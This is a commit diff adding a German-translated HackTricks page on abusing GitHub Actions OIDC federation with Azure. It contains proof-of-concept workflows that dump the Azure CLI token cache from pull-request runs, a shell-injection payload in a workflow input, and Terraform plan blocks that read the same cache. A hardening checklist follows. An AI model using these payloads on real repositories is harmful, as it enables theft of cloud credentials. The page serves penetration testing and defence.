mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-29 14:13:20 -08:00
Translated ['src/pentesting-ci-cd/github-security/abusing-github-actions
This commit is contained in:
@@ -0,0 +1,227 @@
|
||||
# Azure – Federation Abuse (GitHub Actions OIDC / Workload Identity)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Übersicht
|
||||
|
||||
GitHub Actions kann über OpenID Connect (OIDC) mit Azure Entra ID (früher Azure AD) föderieren. Ein GitHub-Workflow fordert ein kurzlebiges GitHub ID token (JWT) an, das Details zum Run kodiert. Azure validiert dieses Token gegen ein Federated Identity Credential (FIC) in einer App Registration (service principal) und tauscht es gegen Azure access tokens (MSAL cache, bearer tokens für Azure APIs).
|
||||
|
||||
Azure validiert mindestens:
|
||||
- iss: https://token.actions.githubusercontent.com
|
||||
- aud: api://AzureADTokenExchange (when exchanging for Azure tokens)
|
||||
- sub: muss mit dem konfigurierten FIC Subject identifier übereinstimmen
|
||||
|
||||
> Der standardmäßige GitHub aud kann eine GitHub-URL sein. Beim Austausch mit Azure sollte explizit audience=api://AzureADTokenExchange gesetzt werden.
|
||||
|
||||
## GitHub ID token quick PoC
|
||||
```yaml
|
||||
name: Print OIDC identity token
|
||||
on: { workflow_dispatch: {} }
|
||||
permissions:
|
||||
id-token: write
|
||||
jobs:
|
||||
view-token:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: get-token
|
||||
run: |
|
||||
OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" "$ACTIONS_ID_TOKEN_REQUEST_URL")
|
||||
# Base64 avoid GitHub masking
|
||||
echo "$OIDC_TOKEN" | base64 -w0
|
||||
```
|
||||
Um die Azure-Audience bei der Token-Anfrage zu erzwingen:
|
||||
```bash
|
||||
OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
|
||||
"$ACTIONS_ID_TOKEN_REQUEST_URL&audience=api://AzureADTokenExchange")
|
||||
```
|
||||
## Azure-Einrichtung (Workload Identity Federation)
|
||||
|
||||
1) Erstellen Sie eine App Registration (service principal) und gewähren Sie die geringsten Berechtigungen (z. B. Storage Blob Data Contributor für ein bestimmtes Storage-Konto).
|
||||
|
||||
2) Fügen Sie Federated identity credentials hinzu:
|
||||
- Issuer: https://token.actions.githubusercontent.com
|
||||
- Audience: api://AzureADTokenExchange
|
||||
- Subject identifier: eng auf den vorgesehenen Workflow/Run-Kontext begrenzt (siehe Scoping and risks weiter unten).
|
||||
|
||||
3) Verwenden Sie azure/login, um das GitHub ID-Token auszutauschen und sich bei der Azure CLI anzumelden:
|
||||
```yaml
|
||||
name: Deploy to Azure
|
||||
on:
|
||||
push: { branches: [main] }
|
||||
permissions:
|
||||
id-token: write
|
||||
contents: read
|
||||
jobs:
|
||||
deploy:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Az CLI login
|
||||
uses: azure/login@v2
|
||||
with:
|
||||
client-id: ${{ secrets.AZURE_CLIENT_ID }}
|
||||
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
|
||||
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
|
||||
- name: Upload file to Azure
|
||||
run: |
|
||||
az storage blob upload --data "test" -c hmm -n testblob \
|
||||
--account-name sofiatest --auth-mode login
|
||||
```
|
||||
Beispiel für einen manuellen Austausch (Graph-Scope gezeigt; ARM oder andere Ressourcen ähnlich):
|
||||
```http
|
||||
POST /<TENANT-ID>/oauth2/v2.0/token HTTP/2
|
||||
Host: login.microsoftonline.com
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
client_id=<app-client-id>&grant_type=client_credentials&
|
||||
client_assertion=<GitHub-ID-token>&client_info=1&
|
||||
client_assertion_type=urn%3Aietf%3Aparams%3Aoauth%3Aclient-assertion-type%3Ajwt-bearer&
|
||||
scope=https%3a%2f%2fgraph.microsoft.com%2f%2f.default
|
||||
```
|
||||
## GitHub OIDC subject (sub) Aufbau und Anpassung
|
||||
|
||||
Default sub format: repo:<org>/<repo>:<context>
|
||||
|
||||
Kontextwerte umfassen:
|
||||
- environment:<env>
|
||||
- pull_request (PR triggers when not in an environment)
|
||||
- ref:refs/(heads|tags)/<name>
|
||||
|
||||
Nützliche Claims, die häufig im Payload enthalten sind:
|
||||
- repository, ref, ref_type, ref_protected, repository_visibility, job_workflow_ref, actor
|
||||
|
||||
Passe die sub-Zusammensetzung über die GitHub API an, um zusätzliche Claims aufzunehmen und das Kollisionsrisiko zu verringern:
|
||||
```bash
|
||||
gh api orgs/<org>/actions/oidc/customization/sub
|
||||
gh api repos/<org>/<repo>/actions/oidc/customization/sub
|
||||
# Example to include owner and visibility
|
||||
gh api \
|
||||
--method PUT \
|
||||
repos/<org>/<repo>/actions/oidc/customization/sub \
|
||||
-f use_default=false \
|
||||
-f include_claim_keys='["repository_owner","repository_visibility"]'
|
||||
```
|
||||
Hinweis: Doppelpunkte in Umgebungsnamen sind URL‑kodiert (%3A), wodurch ältere Delimiter‑Injection‑Tricks beim sub‑Parsing entfernt werden. Die Verwendung nicht‑eindeutiger subject‑Werte (z. B. nur environment:<name>) bleibt jedoch unsicher.
|
||||
|
||||
## Umfang und Risiken der FIC-Subject-Typen
|
||||
|
||||
- Branch/Tag: sub=repo:<org>/<repo>:ref:refs/heads/<branch> or ref:refs/tags/<tag>
|
||||
- Risiko: Wenn der Branch/Tag ungeschützt ist, kann jeder Contributor pushen und Tokens erhalten.
|
||||
- Environment: sub=repo:<org>/<repo>:environment:<env>
|
||||
- Risiko: Ungeschützte Environments (keine Reviewer) erlauben es Contributors, Tokens zu erzeugen.
|
||||
- Pull request: sub=repo:<org>/<repo>:pull_request
|
||||
- Höchstes Risiko: Jeder Collaborator kann einen PR öffnen und die FIC‑Bedingung erfüllen.
|
||||
|
||||
PoC: PR‑triggered token theft (exfiltrate the Azure CLI cache written by azure/login):
|
||||
```yaml
|
||||
name: Steal tokens
|
||||
on: pull_request
|
||||
permissions:
|
||||
id-token: write
|
||||
contents: read
|
||||
jobs:
|
||||
extract-creds:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: azure login
|
||||
uses: azure/login@v2
|
||||
with:
|
||||
client-id: ${{ secrets.AZURE_CLIENT_ID }}
|
||||
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
|
||||
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
|
||||
- name: Extract access token
|
||||
run: |
|
||||
# Azure CLI caches tokens here on Linux runners
|
||||
cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0
|
||||
# Decode twice locally to recover the bearer token
|
||||
```
|
||||
Zugehörige Dateipfade und Hinweise:
|
||||
- Linux/macOS: ~/.azure/msal_token_cache.json enthält MSAL-Token für az CLI-Sitzungen
|
||||
- Windows: msal_token_cache.bin im Benutzerprofil; DPAPI-geschützt
|
||||
|
||||
## Wiederverwendbare Workflows und job_workflow_ref-Scoping
|
||||
|
||||
Das Aufrufen eines wiederverwendbaren Workflows fügt job_workflow_ref dem GitHub ID token hinzu, z. B.:
|
||||
```
|
||||
ndc-security-demo/reusable-workflows/.github/workflows/reusable-file-upload.yaml@refs/heads/main
|
||||
```
|
||||
FIC-Beispiel, um sowohl das caller repo als auch den reusable workflow zu binden:
|
||||
```
|
||||
sub=repo:<org>/<repo>:job_workflow_ref:<org>/<reusable-repo>/.github/workflows/<file>@<ref>
|
||||
```
|
||||
Konfiguriere claims im caller repo, sodass sowohl repo als auch job_workflow_ref im sub vorhanden sind:
|
||||
```http
|
||||
PUT /repos/<org>/<repo>/actions/oidc/customization/sub HTTP/2
|
||||
Host: api.github.com
|
||||
Authorization: token <access token>
|
||||
|
||||
{"use_default": false, "include_claim_keys": ["repo", "job_workflow_ref"]}
|
||||
```
|
||||
Warnung: Wenn du nur job_workflow_ref im FIC bindest, könnte ein Angreifer ein anderes repo in derselben org erstellen, denselben reusable workflow auf demselben ref ausführen, das FIC erfüllen und Tokens minten. Schließe stets auch das caller repo ein.
|
||||
|
||||
## Vektoren zur Codeausführung, die den job_workflow_ref-Schutz umgehen
|
||||
|
||||
Selbst mit korrekt eingeschränktem job_workflow_ref können alle vom caller kontrollierten Daten, die ohne sicheres Quoting in die shell gelangen, zur Codeausführung innerhalb des geschützten Workflow-Kontexts führen.
|
||||
|
||||
Beispiel für einen verwundbaren reusable step (ungequotete Interpolation):
|
||||
```yaml
|
||||
- name: Example Security Check
|
||||
run: |
|
||||
echo "Checking file contents"
|
||||
if [[ "${{ inputs.file_contents }}" == *"malicious"* ]]; then
|
||||
echo "Malicious content detected!"; exit 1
|
||||
else
|
||||
echo "File contents are safe."
|
||||
fi
|
||||
```
|
||||
Bösartige Eingabe durch einen Caller, um Befehle auszuführen und den Azure Token-Cache zu exfiltrieren:
|
||||
```yaml
|
||||
with:
|
||||
file_contents: 'a" == "a" ]]; then cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0; fi; if [[ "a'
|
||||
```
|
||||
## Terraform plan als Ausführungsprimitive in PRs
|
||||
|
||||
Behandle terraform plan als Codeausführung. Während des plan-Vorgangs kann Terraform:
|
||||
- Beliebige Dateien lesen über Funktionen wie file()
|
||||
- Befehle ausführen über die external data source
|
||||
|
||||
Beispiel, um den Azure token cache während des plan zu exfiltrate:
|
||||
```hcl
|
||||
output "msal_token_cache" {
|
||||
value = base64encode(base64encode(file("/home/runner/.azure/msal_token_cache.json")))
|
||||
}
|
||||
```
|
||||
Oder verwende external, um beliebige Befehle auszuführen:
|
||||
```hcl
|
||||
data "external" "exfil" {
|
||||
program = ["bash", "-lc", "cat ~/.azure/msal_token_cache.json | base64 -w0 | base64 -w0"]
|
||||
}
|
||||
```
|
||||
Die Gewährung von FICs, die in PR‑ausgelösten plans verwendbar sind, legt privilegierte Tokens offen und kann später zu zerstörerischen apply‑Vorgängen führen. Trenne Identitäten für plan vs apply; erlaube niemals privilegierte Tokens in nicht vertrauenswürdigen PR‑Kontexten.
|
||||
|
||||
## Härtungs-Checkliste
|
||||
|
||||
- Never use sub=...:pull_request for sensitive FICs
|
||||
- Schütze jeden Branch/Tag/Environment, der/das von FICs referenziert wird (branch protection, environment reviewers)
|
||||
- Prefer FICs scoped to both repo and job_workflow_ref for reusable workflows
|
||||
- Passe den GitHub OIDC sub an, um eindeutige Claims einzuschließen (z. B. repo, job_workflow_ref, repository_owner)
|
||||
- Eliminiere nicht in Anführungszeichen gesetzte Interpolation von Aufrufer-Eingaben in run‑Schritten; sichere Kodierung/Quotierung
|
||||
- Behandle terraform plan als Codeausführung; beschränke oder isoliere Identitäten in PR‑Kontexten
|
||||
- Durchsetze Least Privilege bei App Registrations; separate Identitäten für plan vs apply
|
||||
- Pin actions und reusable workflows auf Commit‑SHAs (vermeide Branch/Tag‑Pins)
|
||||
|
||||
## Tipps für manuelle Tests
|
||||
|
||||
- Request a GitHub ID token in‑workflow and print it base64 to avoid masking
|
||||
- Dekodiere das JWT, um Claims zu prüfen: iss, aud, sub, job_workflow_ref, repository, ref
|
||||
- Manually exchange the ID token against login.microsoftonline.com to confirm FIC matching and scopes
|
||||
- Nach azure/login, lies ~/.azure/msal_token_cache.json, um das Vorhandensein von Token‑Material zu verifizieren
|
||||
|
||||
## References
|
||||
|
||||
- [GitHub Actions → Azure via OIDC: weak FIC and hardening (BinarySecurity)](https://binarysecurity.no/posts/2025/09/securing-gh-actions-part2)
|
||||
- [azure/login action](https://github.com/Azure/login)
|
||||
- [Terraform external data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/external)
|
||||
- [gh CLI](https://cli.github.com/)
|
||||
- [PaloAltoNetworks/github-oidc-utils](https://github.com/PaloAltoNetworks/github-oidc-utils)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user